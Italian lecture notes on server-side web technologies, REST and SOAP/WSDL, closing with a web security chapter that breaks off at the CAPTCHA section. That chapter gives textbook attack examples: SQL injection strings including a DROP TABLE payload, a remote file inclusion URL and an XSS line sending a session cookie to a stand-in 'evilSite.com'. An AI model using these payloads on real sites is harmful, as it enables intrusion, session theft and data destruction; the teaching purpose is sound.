Cosa succede quando il browser invia una HTTP request al server basata su un URL del tipo `http://www.esempio.it/didaManager?`

Sul server devono essere installate due cose:

1. Un **Servlet Container** (o Web Container o Servlet Engine) che:
 - Carica le Servlet nel processo del Web Server (alla prima invocazione della Servlet).
 - Supporta il protocollo HTTP (per gestire il flusso HTTP request/response).
 - Gestisce al suo interno più applicazioni, ognuna identificata da un *servlet context* (nome univoco, es. `didaManager`).
2. Una **Java Virtual Machine** (o JRE), cioè un interprete Java che interpreti ed esegua il bytecode della Servlet.

Inoltre il programmatore deve aver compilato il sorgente Java e caricato sul server il file bytecode (`didaManager.class`).

Flusso di esecuzione:

- Il Web Server vede che la risorsa richiesta è una Java Servlet e gira l'HTTP request al Servlet Container.
- Il Servlet Container cerca tra i suoi contesti il programma corrispondente e chiede all'interprete Java (JVM/JRE) di interpretare ed eseguire il programma.
- Come nel caso di PHP, tipicamente alcune istruzioni gli diranno di leggere i parametri contenuti nell'HTTP request:

```
1 request.getParameter("par");  
2
```

e di connettersi a un database:

```
1 Statement stm = connection.createStatement();  
2 ResultSet rs = stm.executeQuery("SELECT * from libri");  
3
```

- L'esecuzione produce un risultato, tipicamente testo o codice HTML, che viene inserito nel body dell'HTTP response:

```
1 response.setContentType("text/html; charset=UTF-8");  
2 try (PrintWriter resp = response.getWriter()) {  
3     String geoMgrResponse = "";  
4     // ...  
5     resp.print(geoMgrResponse);  
6 }  
7
```

- L'HTTP response viene passata dal Servlet Container al Web Server ed inviata al browser.

9.6.5 Web Server con Servlet Container

Tipicamente si utilizzano Web Server che includono un Servlet Container (e la JVM/JRE):

- **Tomcat** (tomcat.apache.org): Web server open source, sviluppato dalla Apache Software Foundation, che include un Servlet Container e la JVM/JRE.
- **GlassFish** (glassfish.java.net): Application Server open source, sviluppato inizialmente dalla Sun Microsystems e attualmente gestito dalla Oracle. Include un Web Server, un Servlet Container e la JVM/JRE.

Un **Application Server** è un software che comprende diverse funzionalità per la gestione di applicazioni complesse; tipicamente include un Web Server.

9.7 JSP (Java Server Pages)

9.7.1 Che cosa sono le JSP

Un'applicazione web basata sulle JSP (Java Server Pages) è un insieme di pagine web con estensione `.jsp`, che contengono:

- Codice HTML (ed eventualmente JavaScript client-side).
- Codice Java, oppure tag JSTL (JSP Standard Tag Library), cioè una libreria di tag che corrispondono a istruzioni Java.

9.7.2 Esempio di JSP con codice Java

```
1 <H1>JSP: esempio</H1>
2 <%
3     connection = DriverManager.getConnection(cStr);
4     Statement stm = connection.createStatement();
5     ResultSet rs = stm.executeQuery(
6         "SELECT * FROM products WHERE price > 100");
7 %>
8 <P>
9 Questa e' una pagina web dinamica
10 </P>
```

9.7.3 Esempio di JSP con tag JSTL

```
1 <H1>JSP: esempio</H1>
2 <sql:setDataSource driver="com.mysql.jdbc.Driver"
3     url="jdbc:mysql://localhost/database_name"
4     var="localSource" user="database_user" ... />
5
6 <sql:query dataSource="${localSource}"
7     sql="SELECT * FROM products WHERE price > 100"
```

```
8      var="result" />
9  <P>
10 Questa e' una pagina web dinamica
11 </P>
```

I tag JSTL sembrano tag di un linguaggio di mark-up, ma lo sono solo in apparenza: vengono infatti tradotti in istruzioni Java (quindi in istruzioni di un linguaggio di programmazione).

9.7.4 Funzionamento delle JSP

Cosa succede quando il browser invia una HTTP request al server basata su un URL del tipo <http://www.esempio.it/dida.jsp>?

- Il Web Server, grazie all'estensione del file, si accorge che la risorsa è una JSP e gira l'HTTP request al Servlet Container.
- Se è la prima volta che quella JSP viene richiesta (o se è stata modificata):
 - Il Servlet Container invoca il **JSP Engine** (chiamato talvolta compilatore JSP).
 - Il JSP Engine trasforma la pagina (HTML + JSTL tags/istruzioni Java) in una Java Servlet (in un sorgente scritto in Java, es. `didaServlet.java`). In particolare:

- * Trasforma i tag HTML (e le eventuali istruzioni JavaScript) in istruzioni Java che scrivono nel body della HTTP response. Per esempio:

```
1  // <H1>JSP: esempio</H1> diventa:
2  PrintWriter pw;
3  pw = httpResponse.getWriter();
4  pw.print("<H1>JSP: esempio</H1>");
```

- * Se la JSP contiene direttamente codice Java, lo include nella Servlet.
 - * Se la JSP contiene tag JSTL, li traduce in istruzioni Java e le include nella Servlet.
 - * Compila la Servlet, invocando il compilatore Java, e produce la versione in bytecode.
 - * Invoca l'interprete Java (JVM/JRE), che interpreta ed esegue la Servlet.
- Se invece la Servlet compilata è già disponibile (non è la prima volta che quella JSP viene richiesta), il Servlet Container invoca semplicemente l'interprete Java.

Così il caso è ricondotto a quello di una normale Servlet: alcune istruzioni (derivanti da quelle incluse dal programmatore nella JSP) diranno di leggere i parametri contenuti nell'HTTP request, di connettersi a un database, ecc. Il risultato prodotto viene inserito nel body dell'HTTP response.

9.7.5 Tecnologie necessarie

Per far funzionare le JSP è necessaria sul server la stessa tecnologia che si usa per le Java Servlet:

- Un Servlet Container che contenga anche un JSP Engine (il quale a sua volta contiene il compilatore Java).
- L'interprete Java (JVM/JRE).

Anche in questo caso si possono usare Tomcat o GlassFish.

9.8 ASP.NET

ASP.NET è un framework (gratuito) che supporta la costruzione di applicazioni web (pagine web con estensione `.aspx`) server-side.

Caratteristiche:

- Nel framework .NET possono essere utilizzati diversi linguaggi di programmazione: il più usato è **Visual C#**.
- **Visual Studio**: ambiente di sviluppo integrato (IDE) di Microsoft per sviluppare applicazioni Web, mobile e Windows in ambiente .NET. Comprende:
 - .NET Framework.
 - IIS (Web Server).
 - SQL Server (DBMS).
- Visual Studio include anche librerie client-side (per inserire script JavaScript, AJAX, jQuery, ecc.).
- **Visual Studio Express**: versione gratuita per sviluppare applicazioni web (scaricabile da www.asp.net).

9.9 Common Gateway Interface (CGI)

9.9.1 Che cos'è CGI

Per capire come funzionano Ruby, Python e Perl dobbiamo introdurre un vecchio concetto: gli script CGI.

- **CGI** (Common Gateway Interface) = standard che definisce la comunicazione tra un Web Server e un programma che risiede sul file system del server.
- I linguaggi di programmazione più usati sono Perl, Python, C e C++.

9.9.2 Funzionamento di un programma CGI

Il Web Server:

1. Riceve dal browser, tramite URL (es. <http://myserver.it/cgi-bin/myprogram>), la richiesta di esecuzione di un programma.
2. Attraverso l'interfaccia CGI, passa al programma gli eventuali dati (parametri) ricevuti nell'HTTP request.
3. Sempre attraverso l'interfaccia CGI, manda in esecuzione il programma richiesto, tipicamente invocando l'opportuno interprete.
4. Riceve dal programma (tramite l'interfaccia CGI) il risultato.
5. Invia al browser il risultato (nel body dell'HTTP response).

9.9.3 In cosa consiste un'interfaccia CGI

Un'interfaccia CGI consiste in:

1. **Configurazione del Web Server:** si indica dove (percorso nel file system) si trovano gli script CGI, generalmente nella cartella `cgi-bin`.
2. **Script (programma) CGI** che contiene tipicamente istruzioni che corrispondono a comandi del sistema operativo (per es. l'indicazione dell'interprete da usare) e/o istruzioni in un linguaggio di programmazione. Per esempio (Perl):

```
1 #!/usr/bin/perl -Tw
2 print "Content-Type:text/html\n\n";
3 print "<html><head>...</head>";
```

Quando il Web Server riceve una HTTP request, riconosce che si tratta della richiesta di esecuzione di uno script CGI se è stato opportunamente configurato e se lo script è presente nella cartella apposita. Lo script CGI viene eseguito utilizzando l'interprete di solito indicato nella prima riga dello script.

9.10 Python

Python (www.python.org) è un linguaggio di programmazione molto utilizzato sul web:

- È **server-side** (eseguito sul server).
- Utilizza un approccio misto (come Java): il codice sorgente (`myProgram.py`) viene compilato (`myProgram.pyc`) in un linguaggio intermedio (bytecode), specifico di Python, che viene poi interpretato ed eseguito dall'interprete (Virtual Machine).
- La sua implementazione di base (CPython, reference implementation) è open source ed è gestita dalla Python Software Foundation.

- Sul web può essere usato per scrivere programmi invocabili tramite CGI.

Python è uno dei 4 linguaggi utilizzati da Google (insieme a JavaScript, Java e C++), è il principale linguaggio con cui è implementato YouTube ed è usato al CERN e alla NASA. Nel download di Python (che comprende compilatore e interprete) è incluso anche un ambiente di sviluppo (un IDE) chiamato **IDLE**.

9.11 Perl

Perl (<https://www.perl.org>) è un linguaggio di programmazione utilizzato anche sul web (server-side), creato nel 1987 da Larry Wall. Perl è:

- Server-side (eseguito sul server).
- Interpretato (da un interprete Perl).
- Open Source: l'interprete Perl è distribuito secondo la filosofia Open Source.
- Sul web può essere usato per scrivere programmi invocabili tramite CGI.

9.12 Ruby

Ruby (www.ruby-lang.org) è un linguaggio di programmazione molto utilizzato sul web, creato in Giappone all'inizio degli anni '90. Ruby è:

- Server-side (eseguito sul server).
- Interpretato (da un interprete Ruby).
- Open Source.
- Sul web può essere usato:
 1. Per scrivere programmi invocabili tramite CGI.
 2. All'interno delle pagine HTML (con estensione `.rhtml`) grazie a **embedded Ruby** (eRuby/ERb).

Esempio di eRuby in una pagina `.rhtml`:

```
1 <%  
2   nome = params[:nome]  
3   eta = params[:eta]  
4   # ... inserimento nel DB  
5 %>
```

9.13 Strumenti di sviluppo

Tipicamente, per utilizzare questi linguaggi si usano strumenti che semplificano il lavoro del programmatore di applicazioni web. I principali tipi di strumenti sono:

- **IDE** (Integrated Development Environment).
- **Framework**.
- **Librerie**.

9.13.1 Integrated Development Environment (IDE)

Un IDE è un software che offre diverse funzionalità integrate. Tipicamente include:

- Un **editor** per scrivere/modificare il codice sorgente.
- **Compilatori/interpreti** e strumenti per la corretta creazione dell'applicazione finale (file di configurazione, ecc.).
- Strumenti per il **debugging**, cioè per la ricerca e correzione degli errori (“bug” = errore nel software).
- Un **Web Server**.
- Un **Servlet Container**.

Alcuni IDE sono dedicati a un singolo linguaggio, altri supportano più linguaggi.

Esempi di IDE:

- **NetBeans** (<https://netbeans.org/>): nasce alla Sun Microsystems ed è ora della Oracle. Nato come IDE per Java, è stato poi esteso per supportare vari altri linguaggi (JavaScript, PHP).
- **Eclipse** (www.eclipse.org): IDE open source, multi-linguaggio, molto utilizzato per sviluppare applicazioni web Java. Può essere esteso per supportare diversi linguaggi (PHP, Python, Ruby, JavaScript) e tipi di applicazioni (es. smartphone) con l'aggiunta di plug-in.

9.13.2 Framework

Un **framework** è:

- Un ambiente software, generalmente un insieme di librerie.
- Offre dei *template* (modelli) astratti di codice che implementano funzionalità generiche e che possono essere modificati dal programmatore aggiungendo codice specifico.
- Generalmente un framework comprende anche compilatori/interpreti e Web Server.
- Tipicamente (a differenza degli IDE) i framework sono *language-specific*.

Una delle principali caratteristiche dei framework è che offrono la possibilità di sviluppare applicazioni **multi-piattaforma** (o cross-platform): il codice sorgente viene scritto una sola volta e poi distribuito su più piattaforme. Il framework si

occuperà di ricompilare il codice in modo che si adatti automaticamente a sistemi operativi diversi. Questo aspetto è molto importante per lo sviluppo di applicazioni mobile.

Esempi di framework

Framework per PHP:

- Esistono molti framework per PHP.
- Uno dei più famosi è **Zend Framework** (framework.zend.com).

Framework per Python:

- Esistono diversi framework per Python.
- Il più famoso è **Django** (www.djangoproject.com/).

Framework per Ruby:

- Esistono diversi framework per Ruby.
- Il più famoso è sicuramente **Ruby on Rails**, o Rails (rubyonrails.org).

9.13.3 Librerie

Una **libreria** è un insieme di funzioni (o strutture dati) predefinite, utilizzabili all'interno di un programma. Lo sviluppo di librerie ha lo scopo di fornire al programmatore funzionalità già pronte, evitandogli di dover riscrivere ogni volta le stesse funzioni (es. accesso a database, manipolazione di dati in formati particolari, ecc.).

9.14 Come scegliere una tecnologia web

Generalmente si tiene conto di diversi fattori, per esempio:

- **Tipo di applicazione** da sviluppare (semplice/complessa, multimediale, con molti dati, con molti utenti, molto interattiva).
- **Competenze dei programmatori coinvolti** (la tecnologia è già conosciuta? quanto è facile da apprendere?).
- **Sistema Operativo e Web Server** disponibili (quali tecnologie sono supportate?).
- **Documentazione disponibile**.
- **Supporto** (comunità di sviluppatori o supporto del produttore).
- **Librerie, moduli e template** (esistono librerie per realizzare funzionalità particolari, es. archivi, photogallery?).

- **Popolarità.**
- **Costo** (è free o a pagamento? che tipo di licenze offre?).

10 - Servizi RESTful

10.1 Introduzione

I **servizi RESTful** (REST = REpresentational State Transfer) sono un tipo di web service che si basa su una serie di principi architetturali. Rispetto ai web service tradizionali basati su SOAP/WSDL, i servizi RESTful sono più semplici, leggeri e sfruttano direttamente i meccanismi forniti dal protocollo HTTP.

10.2 Principi architetturali

I servizi RESTful si basano sui seguenti principi:

- **Identificazione delle risorse:** ogni risorsa è identificata univocamente da un URI.
- **Utilizzo esplicito dei metodi HTTP:** i metodi HTTP (GET, POST, PUT, DELETE) sono utilizzati per identificare le operazioni da eseguire sulle risorse.
- **Risorse autodescrittive:** le risorse descrivono il proprio formato tramite tipi di rappresentazione (MIME, JSON, XML, ecc.).
- **Collegamenti tra risorse:** le risorse sono collegate tra loro tramite hyperlink.
- **Comunicazione senza stato:** ogni richiesta del client al server deve contenere tutte le informazioni necessarie per essere compresa, senza affidarsi a un contesto memorizzato sul server.

10.3 Identificazione delle risorse

In un'architettura RESTful, ogni risorsa è identificata univocamente da un URI. Esempi di possibili identificatori di risorse:

```
http://www.myapp.com/clienti/1234
http://www.myapp.com/ordini/2011/98765
http://www.myapp.com/prodotti/7654
http://www.myapp.com/ordini/2011
http://www.myapp.com/prodotti?colore=rosso
```

Gli URI sono strutturati in modo gerarchico per rappresentare le relazioni tra le risorse. È possibile utilizzare anche parametri query-string per filtrare le risorse.

10.4 Mappare metodi CRUD sui metodi HTTP

I servizi RESTful utilizzano i metodi HTTP standard per eseguire le operazioni CRUD (Create, Read, Update, Delete) sulle risorse:

Metodo HTTP	Operazione CRUD	Descrizione
POST	Create	Crea una nuova risorsa
GET	Read	Ottiene una risorsa esistente
PUT	Update	Aggiorna una risorsa o ne modifica lo stato
DELETE	Delete	Elimina una risorsa

10.4.1 Esempio: URL non conforme a REST

L'URI:

`http://www.myapp.com/addCustomer?name=Rossi`

non risponde ai principi REST perché:

- L'azione ("addCustomer") è codificata nell'URL invece che nel metodo HTTP.
- L'URL dovrebbe invece essere semplicemente `http://www.myapp.com/clienti`, e per creare un nuovo cliente si dovrebbe usare il metodo HTTP POST con i dati del cliente nel body della richiesta.

10.5 Risorse autodescrittive

In un'architettura RESTful, le risorse possono essere rappresentate in diversi formati:

- **MIME** (Multipurpose Internet Mail Extensions).
- **JSON** (JavaScript Object Notation).
- **XML** (eXtensible Markup Language).

È possibile specificare il formato desiderato nella richiesta HTTP, tramite l'header **Accept**:

```
GET /clienti/1234 HTTP/1.1
Host: www.myapp.com
Accept: application/vnd.myapp.cliente+xml
```

Il server, interpretando l'header **Accept**, restituisce la rappresentazione della risorsa nel formato richiesto.

10.6 Collegamento tra risorse: HATEOAS

HATEOAS (Hypermedia As The Engine Of Application State) è un principio che stabilisce che le risorse devono contenere collegamenti ad altre risorse correlate. Questo permette al client di navigare tra le risorse senza dover conoscere a priori la struttura dell'API.

Esempio di rappresentazione XML di una risorsa con collegamenti:

```
1 <ordine>
2   <numero>12345678</numero>
3   <data>01/07/2011</data>
4   <cliente rif="http://www.myapp.com/clienti/1234" />
5   <articoli>
6     <articolo rif="http://www.myapp.com/prodotti/98765" />
7     <articolo rif="http://www.myapp.com/prodotti/43210" />
8   </articoli>
9 </ordine>
```

In questo esempio, la risorsa `ordine` contiene riferimenti ipermediali a:

- La risorsa `cliente` che ha effettuato l'ordine.
- Le risorse `prodotto` che corrispondono agli articoli ordinati.

Il client può seguire questi link per ottenere informazioni aggiuntive sulle risorse collegate.

10.7 Comunicazione senza stato

La **comunicazione senza stato** è una caratteristica fondamentale dei servizi RESTful: essa deriva direttamente dalla natura del protocollo HTTP, che è appunto un protocollo stateless.

Ogni richiesta HTTP deve contenere tutte le informazioni necessarie al server per elaborarla. Il server non mantiene alcuno stato relativo al client tra richieste successive. Questo semplifica la progettazione dei servizi e li rende scalabili, perché qualsiasi server può gestire qualsiasi richiesta.

11 - Servizi SOAP/WSDL

11.1 Introduzione

I servizi RPC (Remote Procedure Call) basati su SOAP/WSDL rappresentano un approccio più formale e strutturato alla definizione e implementazione di web service rispetto ai servizi RESTful. Si basano su un insieme di tecnologie standardizzate che permettono l'interoperabilità tra sistemi differenti.

Le principali tecnologie usate sono:

- **XML Schema:** per definire la struttura e i tipi di dato dei documenti XML scambiati.
- **UDDI** (Universal Description, Discovery and Integration): per la pubblicazione e ricerca di web service.
- **WSDL** (Web Services Description Language): per descrivere l'interfaccia del web service.
- **SOAP** (Simple Object Access Protocol): il protocollo per lo scambio di messaggi.
- **HTTP:** come protocollo di trasporto.

11.2 XML Schema

11.2.1 Cosa permette di fare XML Schema

XML Schema permette di:

- Definire gli elementi (tag) che possono apparire in un documento.
- Definire gli attributi che possono apparire in un elemento.
- Definire quali elementi devono essere inseriti in altri elementi (chiamati *child*).
- Definire il numero degli elementi child.
- Definire quando un elemento deve essere vuoto o può contenere testo, elementi, oppure entrambi.
- Definire il tipo per ogni elemento e per gli attributi (intero, stringa, ecc., ma anche tipi personalizzati).
- Definire i valori di default o fissi per elementi ed attributi.

11.2.2 Esempio di documento XML

```

1 <?xml version="1.0"?>
2 <libro>
3   <titolo>Al di la' del bene e del male</titolo>
4   <autore>Nietzsche</autore>
5   <numeroDiPagine>272</numeroDiPagine>
6 </libro>

```

11.2.3 Esempio di XML Schema

Il corrispondente XML Schema che definisce la struttura del documento precedente:

```

1 <?xml version="1.0"?>
2 <!-- iniziamo lo schema -->
3 <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
4           targetNamespace="localhost/wsdl"
5           xmlns="localhost/wsdl"
6           elementFormDefault="qualified">
7   <!-- definiamo l'elemento libro -->
8   <xs:element name="libro">
9     <xs:complexType>
10      <xs:all>
11        <!-- definiamo i vari elementi child di libro -->
12        <xs:element name="titolo" type="xs:string" />
13        <xs:element name="autore" type="xs:string" />
14        <xs:element name="numeroDiPagine" type="xs:integer" />
15      </xs:all>
16    </xs:complexType>
17  </xs:element>
18 </xs:schema>

```

11.2.4 Spiegazione degli attributi principali

- `xmlns:xs="..."`: stabilisce che gli elementi che iniziano con `xs` provengono dal namespace <http://www.w3.org/2001/XMLSchema>.
- `targetNamespace="..."`: definisce a quale namespace appartengono gli elementi definiti con questo schema.
- `xmlns="..."`: definisce il namespace di default (quello applicato se non ne esplicitiamo uno).
- `elementFormDefault="qualified"`: indica che ogni elemento usato nel documento XML che utilizzerà questo schema dovrà essere qualificato.

11.3 Elementi di un documento WSDL

Un documento WSDL ha la seguente struttura generale:

```

1 <definitions>
2   <types>

```

```

3      <!-- definizione dei tipi di dato utilizzati -->
4      </types>
5      <message>
6          <!-- definizione di uno dei messaggi impiegati dal
7              web service per comunicare con l'applicazione client
8          -->
9      </message>
10     <!-- naturalmente puo' esistere piu' di un elemento message
11         all'interno del documento -->
12     <portType>
13         <!-- definisce una "porta" e le operazioni che possono
14             essere eseguite dal web service.
15             Definisce inoltre i messaggi coinvolti nelle
16             operazioni elencate -->
17     </portType>
18     <binding>
19         <!-- definisce il formato del messaggio ed i
20             dettagli di protocollo per ogni porta -->
21     </binding>
22 </definitions>

```

Analizziamo nel dettaglio ciascuno degli elementi.

11.3.1 Types (Tipi)

La sezione <types> definisce i tipi di dato utilizzati nei messaggi del web service, generalmente tramite uno XML Schema:

```

1 <types>
2     <xs:schema targetNamespace="http://localhost/wsd1">
3         <xs:element name="email" type="xs:string"/>
4         <xs:element name="password" type="xs:string"/>
5         <xs:element name="respText" type="xs:string"/>
6         <xs:element name="utente">
7             <xs:complexType>
8                 <xs:all>
9                     <xs:element name="email" type="xs:string"/>
10                    <xs:element name="password" type="xs:string"/>
11                </xs:all>
12            </xs:complexType>
13        </xs:element>
14    </xs:schema>
15 </types>

```

11.3.2 Messages (Messaggi)

La sezione <message> definisce i messaggi che il web service scambia con il client. Ogni operazione ha tipicamente un messaggio di *request* (inviato al server) e uno di *response* (restituito dal server):

```

1 <message name="get_userRequest">
2     <part name="email" type="xs:string" />
3 </message>
4 <message name="get_userResponse">

```

```

5      <part name="utente" type="xs:utente" />
6    </message>
7    <message name="save_userRequest">
8      <part name="email" type="xs:string" />
9      <part name="password" type="xs:string" />
10   </message>
11   <message name="save_userResponse">
12     <part name="respText" type="xs:string" />
13   </message>

```

11.3.3 PortType

L'elemento <portType> definisce le operazioni che il web service può eseguire e i messaggi coinvolti in ciascuna operazione:

```

1 <portType name="gestioneUtentiType">
2   <operation name="getUserByEmail">
3     <input message="tns:get_userRequest" />
4     <output message="tns:get_userResponse" />
5   </operation>
6   <operation name="saveUser">
7     <input message="tns:save_userRequest" />
8     <output message="tns:save_userResponse" />
9   </operation>
10 </portType>

```

Ogni <operation> indica un messaggio di input (la richiesta) e uno di output (la risposta).

11.3.4 Binding

L'elemento <binding> definisce il formato del messaggio e i dettagli di protocollo per ogni porta. Collega il portType a un protocollo di trasporto concreto (tipicamente SOAP su HTTP):

```

1 <binding name="gestioneUtentiBinding" type="tns:gestioneUtentiType"
2   >
3   <soap:binding style="rpc"
4     transport="http://schemas.xmlsoap.org/soap/http"/>
5   <operation name="getUserByEmail">
6     <soap:operation
7       soapAction="localhost/wsd1/service.php/getUserByEmail"
8       style="rpc"/>
9     <input>
10      <soap:body use="encoded"
11        namespace="localhost/wsd1"
12        encodingStyle="http://schemas.xmlsoap.org/soap/
13      encoding/" />
14    </input>
15    <output>
16      <soap:body use="encoded"
17        namespace="localhost/wsd1"
18        encodingStyle="http://schemas.xmlsoap.org/soap/
19      encoding/" />

```

```
17     </output>
18 </operation>
19 <operation name="saveUser">
20     <soap:operation
21         soapAction="localhost/wsd1/service.php/saveUser"
22         style="rpc"/>
23     <input>
24         <soap:body use="encoded"
25             namespace="localhost/wsd1"
26             encodingStyle="http://schemas.xmlsoap.org/soap/
encoding/" />
27     </input>
28     <output>
29         <soap:body use="encoded"
30             namespace="localhost/wsd1"
31             encodingStyle="http://schemas.xmlsoap.org/soap/
encoding/" />
32     </output>
33 </operation>
34 </binding>
```

11.3.5 Service

L'elemento `<service>` definisce l'endpoint del web service, cioè l'indirizzo al quale il servizio è raggiungibile:

```
1 <service name="ServizioUtenti">
2     <port name="GestioneUtenti"
3         binding="tns:gestioneUtentiBinding">
4         <soap:address location="localhost/wsd1/service.php"/>
5     </port>
6 </service>
```

11.4 Considerazioni finali

Un documento WSDL completo fornisce tutte le informazioni necessarie perché un client possa invocare il web service:

- Quali operazioni sono disponibili (`portType`).
- Quali messaggi vengono scambiati in ogni operazione (`message`).
- Come sono strutturati i dati nei messaggi (`types`).
- Come devono essere trasmessi i messaggi sulla rete (`binding`).
- Dove (a quale URL) si trova il servizio (`service`).

Rispetto ai servizi RESTful, i servizi SOAP/WSDL offrono maggiore formalità e rigore nella specifica dell'interfaccia, ma sono generalmente più complessi da progettare, implementare e utilizzare.

12 - Sicurezza sul Web

12.1 Introduzione

Il **cyber crime** è un crimine che:

1. Sfrutta computer e reti come strumenti.
2. Ha computer e reti come obiettivi.

Secondo un report del 2014 del Ponemon Institute, il costo medio annualizzato dei cyber crime per 257 organizzazioni analizzate è stato di 7.6 milioni di dollari all'anno, con un intervallo tra 0.5 milioni e 61 milioni per azienda. Le organizzazioni più piccole hanno un costo pro-capite significativamente più alto rispetto alle grandi organizzazioni. Ogni anno gli attacchi dovuti a insider malevoli, denial of service e attacchi web-based rappresentano più del 55% di tutti i costi per cyber crime.

12.2 Attacchi non-tecnici

Un **attacco non-tecnico** è mirato ad estorcere informazioni sensibili alle persone o a far compiere azioni che possono compromettere la sicurezza di un sistema.

Esempio tipico: **phishing** basato su ingegneria sociale. L'ingegneria sociale sfrutta la pressione sociale per convincere le persone a rivelare informazioni riservate.

Possibili difese:

- Educazione degli utenti.
- Regole interne.
- Filtri per spam e danger.

12.3 Attacchi tecnici

Un **attacco tecnico** è perpetrato ai danni di un sistema informatico, con lo scopo di acquisire dati sensibili o danneggiare il sistema (spesso sfruttandone le vulnerabilità).

12.3.1 Come sono possibili gli attacchi tecnici

I programmi, soprattutto se di grandi dimensioni, possono contenere errori (*bugs*, “buchi”) e alcuni errori possono rappresentare **falle di sicurezza**. Le falle di sicurezza rappresentano dei punti di ingresso per terze parti provenienti dall'esterno, alle quali è fornita la possibilità di acquisire dati o alterare il funzionamento dell'applicazione. Le falle di sicurezza rendono quindi possibili le **intrusioni**.

12.4 Intrusioni

12.4.1 Definizione e motivazioni

Un'**intrusione** è un accesso non previsto a un programma, con lo scopo di prelevare dati nascosti o modificarne il funzionamento. Un esempio tipico è il furto di dati personali (documenti, credenziali per l'accesso, contatti e dati anagrafici) custoditi all'interno di database non protetti a sufficienza.

Le motivazioni di un'intrusione possono essere varie: dalla sfida personale alla truffa vera e propria, al terrorismo.

12.4.2 Messa in sicurezza

Per ridurre la possibilità di intrusioni bisogna *mettere in sicurezza* l'applicazione: per implementare un'applicazione web sicura sono necessari tempo ed energie, che spesso vengono invece spesi solo quando si presentano i problemi.

La messa in sicurezza di un'applicazione dovrebbe invece seguire di pari passo la progettazione, per evitare di dover inserire successivamente costose e meno funzionali patch.

12.4.3 Tipi di attacchi e difese

Esistono diversi modi per attaccare un'applicazione web. Ne esamineremo alcuni esempi:

1. Attacchi in fase di autenticazione.
2. Iniezioni di codice.
3. Furto di sessione.

E per ciascuno alcune tecniche di difesa:

1. Test audiovisivi.
2. Validazione dell'input.
3. Sicurezza della sessione.

12.5 Attacchi in fase di autenticazione

12.5.1 Autenticazione

L'**autenticazione** è il processo tramite cui un programma verifica l'identità di un utente, computer o programma attraverso il controllo delle sue credenziali.

12.5.2 Tecniche di intrusione

Brute force: processo automatico per tentativi ed errori. Tramite la generazione casuale di stringhe o l'utilizzo di appositi dizionari, effettua reiterati tentativi per indovinare dati come username, password, numeri di carte di credito, ecc.

Autenticazione insufficiente: vulnerabilità che dipende da una cattiva progettazione del sito. Per esempio:

- Un'app web implementa un'area riservata inserendola in una cartella o in un file non linkato nella home, accessibile solo a chi ne conosce il percorso, senza altre protezioni.
- A chi dimentica la password si chiedono alcuni dati personali inseriti in fase di registrazione (data di nascita, telefono, ecc.): ricavare queste informazioni è spesso relativamente facile.

12.6 Iniezioni di codice

Le **iniezioni di codice** consistono nell'inserimento di codice che esegue operazioni anomale non previste dall'autore dell'applicazione.

12.6.1 Esempio 1: iniezioni HTML o JavaScript (XSS – Cross-Site Scripting)

Immaginiamo un sito che chiede all'utente di scrivere una domanda e poi fornisce una nuova pagina con la domanda e la risposta (sì/no). Se nello script PHP leggiamo la domanda (`$_POST["question"]`) e la inseriamo, senza controlli, nella pagina di risposta al posto della domanda, è possibile inserire:

- Codice HTML (facendo, ad esempio, comparire messaggi non voluti nella pagina di risposta).
- Codice JavaScript, che verrà eseguito dal browser (causando, ad esempio, l'apertura di decine di pop-up windows).

12.6.2 Esempio 2: iniezioni PHP

Immaginiamo un incauto passaggio di dati via GET:

`http://sito_esempio/esempio.php?includi=previsto.php`

L'URL contiene il parametro `includi`, il cui valore è il percorso del file che contiene lo script da inserire nella pagina. All'interno di `esempio.php` il valore del parametro `includi` viene letto e inserito nella pagina senza alcun controllo:

```
1 include($_GET["includi"]);
```

Questo rende possibile inoculare, ad esempio, uno script malevolo residente su un sito esterno. Per farlo è sufficiente connettersi a:

```
http://sito_esempio/esempio.php?includi=
http%3A%2F%2Fsito_malevolo.com%2Fmalevolo.php
```

12.6.3 Esempio 3: iniezioni SQL

L'utente inserisce nel form caratteri "strani", per esempio:

Username: ' OR ''='

Se nella pagina PHP leggiamo i valori inseriti dall'utente e li usiamo senza alcun controllo per interrogare il database:

```
1 $query = "SELECT * FROM utenti WHERE username='' OR ''=''";
```

La query seleziona tutti i record della tabella! Se poi il risultato viene visualizzato (sempre senza controlli) sulla pagina inviata al browser come risposta, l'utente potrà visualizzare tutto il contenuto della tabella `utenti`.

Se invece l'utente inserisce nel form qualcosa come:

Username: '; DROP TABLE utenti; --

E nella pagina PHP i valori vengono usati senza controlli:

```
1 $query = "SELECT * FROM utenti WHERE
2     username=''; DROP TABLE utenti; --'";
```

Dopo la prima query (`SELECT...`) viene eseguita una `DROP TABLE` che cancella l'intera tabella `utenti` dal DB. Il `--` serve per assicurarsi che qualunque cosa segua venga interpretato come commento e quindi non eseguito.

12.7 Furto di sessione

12.7.1 Terminazione insufficiente della sessione

Se il sito mantiene attivo il session ID a lungo (per esempio per non dover ripetere il login), un malintenzionato ha più tempo per "rubare" il session ID.

12.7.2 Session hijacking

Il **session hijacking** (dirottamento della sessione) è il furto del session ID di un utente collegato in quel momento, per operare al suo posto (ad esempio per accedere a dati o a sezioni riservate).

Esempio di attacco: il sito `myPoorSite.com` è vulnerabile a attacchi XSS e subisce un'iniezione di codice JavaScript che:

- Legge il session ID (`sID`) nel session cookie (i cookies sono accessibili da JavaScript tramite l'oggetto `document.cookie`).
- Inserisce un'immagine "finta":

```
1 <img src=http://evilSite.com/badScript.php?id=sID>  
2
```

Il browser contatta il sito `evilSite.com` (in particolare lo script `badScript.php`), inviandogli come parametro il session ID, che può essere usato per effettuare richieste apparentemente legittime al sito `myPoorSite.com` "in nome dell'utente legittimo".

12.8 Difese: test audiovisivi

Per cercare automaticamente le falle di un sistema vengono utilizzati programmi che effettuano un'analisi automatica dei punti vulnerabili (possono essere usati sia per intrusione, sia per la ricerca preventiva di possibili falle di sicurezza).

Un esempio di difesa contro gli strumenti di analisi automatica e contro attacchi in fase di autenticazione con metodo brute force è il **CAPTCHA** (Completely Automated Public Turing test to tell Computers and Humans Apart).

12.8.1 Caratteristiche del CAPTCHA

Il CAPTCHA è basato sull'idea del **test di Turing**: porre domande che permettano di capire se l'interlocutore è un umano o una macchina.

La forma più comune di CAPTCHA è **visiva**: vengono mostrati all'utente lettere e numeri distorti in modo da eludere gli OCR (Optical Character Recognition, programmi dedicati al riconoscimento di un'immagine contenente testo).

Esistono anche forme di CAPTCHA **audio**.

12.8.2 CAPTCHA moderni

